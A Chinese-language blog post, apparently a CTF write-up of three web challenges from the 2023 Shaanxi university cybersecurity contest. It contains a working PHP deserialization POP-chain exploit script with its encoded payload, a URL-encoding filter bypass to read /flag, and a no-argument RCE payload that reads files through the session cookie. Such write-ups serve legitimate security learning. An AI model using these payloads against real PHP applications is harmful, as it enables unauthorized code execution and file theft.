您现在的位置是:首页 >技术杂谈 >2023年第三届陕西省大学生网络安全技能大赛 web部分 wp网站首页技术杂谈

2023年第三届陕西省大学生网络安全技能大赛 web部分 wp

GXcodes 2024-08-07 18:01:01
简介2023年第三届陕西省大学生网络安全技能大赛 web部分 wp

总体来说还行,就是又感受到了py的成分,多的不说,星盟出的题,题目质量还是可以的,希望之后通过学习大佬的姿势来长长见识。

目录

EZPOP

 RCE

unserialize


EZPOP

首先来到页面

 

点击,就是空白页,查看源代码 F12都会进入空白页,猜测存在js在搞怪。

先打开一个空白页,再f12,再输入题目网址,得到f12源码,查看source的js

 

 查看js,发现一段base64的代码,解密,发现php文件,/pop3ZTgMw.php

 

pop链子:

首先这里用“night:destruct->day:tostring->dark:go”触发短链子:来查看phpinfo()没有flag,所以还得用长链子:“night:destruct->day:tostring->dark:go->light:invoke->day:call->dark:getflag”

本来想读取一下index.php来看一下flag存放的位置及文件名,但是读取失败,证明没有index.php的文件,所以直接盲猜/flag。

hacked函数会过滤/,但是后面返回的是url解码的值,所以我们对/flag进行url编码后传入。同样的,正则也会失效。

绕过exception,只要让其报错就行,比如把night的类内数量由1改为2。

脚本如下:

<?php

use dark as GlobalDark;
use day as GlobalDay;
use light as GlobalLight;
use night as GlobalNight;

highlight_file(__FILE__);

class night
{
    public $night;

    public function __destruct(){
        echo $this->night . '哒咩哟';
    }
}

class day
{
    public $day;

    public function __toString(){
        echo $this->day->go();
    }

    public function __call($a, $b){
        echo $this->day->getFlag();
    }
}


class light
{
    public $light;

    public function __invoke(){
        echo $this->light->d();
    }
}

class dark
{
    public $dark;

    public function go(){
        ($this->dark)();
    }

    public function getFlag(){
        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0,1) == '/'){
        die('呆jio步');
    }
    $s = preg_replace('/..*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}
#下面这是短链子,查看phpinfo(),但是没有flag,我们用长链子
// $night = new GlobalNight();
// $day = new GlobalDay();
// $dark = new GlobalDark();


// $dark->dark = "phpinfo";
// $day->day = $dark;
// $night->night = $day;

// echo serialize($night);
#O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:7:"phpinfo";}}}

#下面这是长链子,直接读取/flag

$night = new GlobalNight();
$day1 = new GlobalDay();
$day2 = new GlobalDay();
$light = new GlobalLight();
$dark = new GlobalDark();
$dark1 = new GlobalDark();

$dark->dark = '%2f%66%6c%61%67';
$day2->day = $dark;
$light->light = $day2;
$dark1->dark = $light;
$day1->day = $dark1;
$night->night = $day1;
echo (serialize($night)) ;
echo urlencode(serialize($night)) ;
$un = unserialize($_POST['1']); // 

#$un = unserialize($_POST['‮⁦快给我传参⁩⁦pop']); // 
#throw new Exception('seino');

传参有不可见字符,这里我复制用hackbar传,也可以写python脚本传,得到flag。payload:

‮⁦快给我传参⁩⁦pop=O%3A5%3A%22night%22%3A2%3A%7Bs%3A5%3A%22night%22%3BO%3A3%3A%22day%22%3A1%3A%7Bs%3A3%3A%22day%22%3BO%3A4%3A%22dark%22%3A1%3A%7Bs%3A4%3A%22dark%22%3BO%3A5%3A%22light%22%3A1%3A%7Bs%3A5%3A%22light%22%3BO%3A3%3A%22day%22%3A1%3A%7Bs%3A3%3A%22day%22%3BO%3A4%3A%22dark%22%3A1%3A%7Bs%3A4%3A%22dark%22%3Bs%3A15%3A%22%252f%2566%256c%2561%2567%22%3B%7D%7D%7D%7D%7D%7D

 RCE

随便sumbit进入页面,然后看到源码

是正则匹配的e参数漏洞,php版本也正确。

可以进行命令执行。

爆破跑一下,过滤了很多 但没有过滤(),猜测是无参rce。

试了很多

找到一篇文章PHP的无参数RCE - 先知社区

提到了用cookie的session来进行无参rce

过滤了/,所以flag在根目录下,名字猜出即可。

无参rce的payload:

get:
?key=1
post:
qaq=highlight_file(session_id(session_start()));&name=hahaha
cookie:
PHPSESSID=/flag

unserialize

扫到了robots.txt,里面有hint.php,提示可用的函数是一堆php反射用的函数

猜测用反射进行反序列化,但是之前没做过,一时半会也没找到,时间也不多了,也就没做出来,后面看大佬的复现学习学习吧。 

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。